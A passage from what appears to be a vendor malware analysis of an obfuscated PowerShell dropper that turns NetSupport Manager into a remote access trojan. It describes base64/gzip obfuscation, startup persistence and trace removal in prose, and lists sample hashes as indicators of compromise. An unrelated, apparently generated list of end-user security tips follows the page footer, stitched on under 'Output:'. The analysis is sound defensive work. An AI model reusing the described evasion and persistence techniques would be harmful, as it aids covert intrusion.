two distinct functions. Those functions use elaborate ways to obfuscate the routine of the malware, such as using bitwise operations, gzip compression, and base64 encoding. The methods mentioned above are used throughout the malware. Figure 3 Example of a path decryption function Figure 4 Obfuscated string to binary function Figure 5 Rewritten string to binary function The method works by parsing segmented strings and pairing them with a corresponding value, such as an index. The string is then assembled and base64 decoded, revealing a compressed .gzip file. The string is then converted to binary before the file is decompressed, another layer of base64 encoding once decrypted a correctly formatted binary file appears. Figure 6 Obfuscated string concatenation The malware relies on commercial software called NetSupport Manager. NetSupport Manager is employed worldwide as a remote administration tool used in education and business environments. In our case, NetSupport Manager sets up remote access on the affected system. In the case of this malware, the remote access is without the users consent and knowledge, turning legitimate software into a remote access trojan RAT. Another case involving the use of NetSupport Manager dates back to mid-2020. A Microsoft warning was displayed on some legitimately looking Excel attachments disguised as COVID service announcements deploying the malware by disguising it as a NortonLifeLock document . Not attributed to a single threat actor, recent research is rolling a similar campaign using the social engineering JavaScript framework SocGolish. This looks like the upg120710.hta. mentioned earlier. After the files have been decoded and saved, the script adds a presentation host executable to the host system environment variable. The executable runs on startup. The Presentationhost.exe is then executed and remote access is established. The script then deletes the PowerShell and text files after execution, removing most of their traces. Figure 7 Setting presentationhost.exe to run on startup The result of a successful infection means the attacker now has a beachhead inside the victims network and can do whatever he pleases steal information, install malware or ransomware remotely, or just passively gather network intelligence for further exploitation. Net Support Manager is a feature-rich remote management tool  its functionality is only limited by the attackers imagination and resources. In cases the is sold to a different threat actor, an infection can spell disaster for corporate targets. Samples From the Wild Interestingly, there are several samples of the same malware gathered from VirusTotal at various stages of development using the exact variable names and methods and implementing them one by one. We cannot confirm that this is the order of development from the submission dates alone, but the presence of the same variables and methods implies that the files are related. The rudimentary detection of debug environments was present in all samples gathered. The least developed sample is submitted at 2022-08-18 162512 UTC SHA25622ad3c158de2c06f565d6045a429ea12ea8b4ffc4877c30037242c474af44fb4 In the least developed sample, only the first three encoded files are present. The structure of the file is the same, but variables differ. The string to binary conversion function is present along with its ability to decompress the strings embedded into the file. There is no persistence on system reset or self-delete after infection written into the script. The functions look structurally the same, the string arrays and index numbers are numerically different but structurally the same while the resulting dropped files are the same as later samples, the order in which the files are decoded in the document is the same. This seems to be a non-functional version as one of the binary strings does not drop a file properly despite our best efforts. Second sample is submitted at 2022-08-13 164308 UTC SHA256ce1e624a5b2246bc400abb15fc4fef42d719e37be062746cb58d6040264c7905 It is the same as the first sample, but it adds a 4th file msver100.dll to the list of dropped files. In addition, the scuffed file has been repaired. Third sample is submitted at 2022-10-13 162904 UTC SHA25676226a4feb81da1729d845dce01335c7ec95dd1c6175485f28799e8e230e4229 This version looks like the first version of the current payload version and shares the decryption functions with the exact variable names. The strings used to encode the file strings and the indexes used to assemble and decode the strings, are the same as in the sample we reversed and deciphered. Fourth sample is submitted at 2022-10-18 172917 UTC SHA256f0bf3a231be598046b3047d5005de2bdc73a0c423f1d49185a4c7cccea08f7df This is where the malware starts resembling the final form. The total files dropped are now 10 with Nskbflter.inf, nsm.ini, nsm.lic, pcicapi.dll, pcicapi.dll, pcicehk.dll, pcicl32.dll added from the earlier iteration. There are no remarkable additions to the functionality besides the added files. Fifth sample is submitted at 2022-10-13 151132 UTC SHA256b89096989073fddd867960b924952df92a3afc120cb096883647e031d2ed9bc6 In this version, the author establishes persistence by adding itself to the startup routine of the host system. It also cleans up the files created and removes the PowerShell script once it was executed. The author adds tclltl32.dll file to the list of dropped files. Indicators of Compromise SHA256 Cyren Detection 22AD3C158DE2C06F565D6045A429EA12EA8B4FFC4877C30037242C474AF44FB4 PSHAgent.GT 76226A4FEB81DA1729D845DCE01335C7EC95DD1C6175485F28799E8E230E4229 PSHAgent.GT B89096989073FDDD867960B924952DF92A3AFC120CB096883647E031D2ED9BC6 PSHAgent.GT CE1E624A5B2246BC400ABB15FC4FEF42D719E37BE062746CB58D6040264C7905 PSHAgent.GT F0BF3A231BE598046B3047D5005DE2BDC73A0C423F1D49185A4C7CCCEA08F7DF PSHAgent.GT Try it for Free Instant Data Classification Cyren URL Category Chacker Prev Analyzing message metadata to protect against BEC attacks Phishing with QR codes Next Company Partners Resources Investor Relations Products Freeware Demo Solutions Contact Us Privacy Management Service by Data443

Output:
### End-User Guidance on Data Security and Protection

**1. Email Attachments and Phishing Awareness**
   - **Be Cautious with Attachments**: Avoid opening attachments from unknown or suspicious sources. Verify the sender's identity before interacting with any files.
   - **Phishing Training**: Participate in phishing training to recognize suspicious emails and report them to your IT department.

**2. Software Verification and Management**
   - **Legitimate Sources**: Ensure software like NetSupport Manager is downloaded from official sources and is up-to-date.
   - **Update Regularly**: Keep all software updated to protect against vulnerabilities.

**3. Security Tools and Practices**
   - **Antivirus Use**: Install and regularly update antivirus and endpoint protection software to detect and block malicious scripts.
   - **Firewall Enablement**: Ensure firewalls are enabled to monitor and control incoming/outgoing network traffic.

**4. System Hardening**
   - **Disable Macros**: Turn off macros in Microsoft Office unless absolutely necessary, and never enable them for files from unknown sources.
   - **Regular Updates**: Keep your operating system and software updated with the latest security patches.

**5. Network Monitoring**
   - **Monitor for Unauthorized Access**: Use tools or services to monitor network traffic for unusual activities and report anomalies to IT.

**6. Data Protection Measures**
   - **Backups**: Regularly back up important data and store it securely, both physically and in the cloud.
   - **Data Encryption**: Use encryption for sensitive data, both at rest and in transit.

**7. Privacy Protection**
   - **Share Sensitive Info Wisely**: Avoid sharing sensitive information via unsecured channels like email or messaging apps.
   - **UsePrivacy Tools**: Consider using VPNs for public Wi-Fi and enable privacy settings in browsers and apps.

**8. Seeking Additional Support**
   - **Report Incidents**: If you encounter suspicious activity or believe you've been targeted, contact your IT department immediately.
   - **Professional Help**: For significant incidents or advanced threats, consult with cybersecurity professionals.

By following these guidelines, users can significantly enhance their security posture and protect against threats like RATs and malicious scripts. Stay informed and proactive to safeguard your data and privacy effectively.